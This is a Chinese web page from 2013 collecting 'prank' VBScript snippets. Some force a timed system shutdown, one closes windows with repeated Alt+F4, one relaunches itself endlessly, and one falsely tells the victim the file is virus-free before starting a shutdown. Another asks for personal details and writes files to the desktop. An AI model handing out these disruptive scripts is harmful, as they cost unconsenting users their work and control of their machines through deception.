一些很恶作剧的vbs程序代码
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
关机 复制代码 代码如下: set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 关闭当前打开的多个窗口 复制代码 代码如下: dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 复制代码 代码如下: dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫:"&a&" ",vbYesNo + vbExclamation,"芮洲提示:") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好!"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦!)","芮洲提示:","请在此输入你的爱好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月 日]电脑将自动算出到目前为止你已经在地球上存活了多少时间!"&vbcrlf&""&vbcrlf&"下面以我为列 不同可以修改"&vbcrlf&""&Chr(10)&"格式为:1987-06-02","芮洲提示:","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示:") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true) auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍:""" auto.WriteLine "msgbox"&""""&"亲爱的 "&a& " 再见了!"&""""&",48,"&""""&"芮洲提示:"&""""&"" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true) auto.WriteLine "本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了" auto.WriteLine "时间是根据你的出生年月日算的,可能不是很精确,但目的只是想让知道时间过的很快,请珍惜时间!!!。" 复制代码 代码如下: dim a a=10 Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 10",,true Set s = CreateObject("sapi.spvoice") while a s.Speak a a = a - 1 wscript.sleep 100 wend CreateObject("SAPI.SpVoice").Speak "Bomb?" 复制代码 代码如下: do createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34) loop 复制代码 代码如下: msgbox"此文件无毒,请放心使用。",vbretrycancel,"系统提示。" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.Run "cmd.exe /c shutdown -s -t 300" wscript.sleep 2000 dim a do a=inputbox("输入abc,否则关机。") if a="abc" then msgbox" 很遗憾,你中招了,这是整人程序,你就等着关机吧!" exit do else msgbox"乖点,输入abc" end if loop |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
关于一些很恶作剧的vbs程序代码的所有评论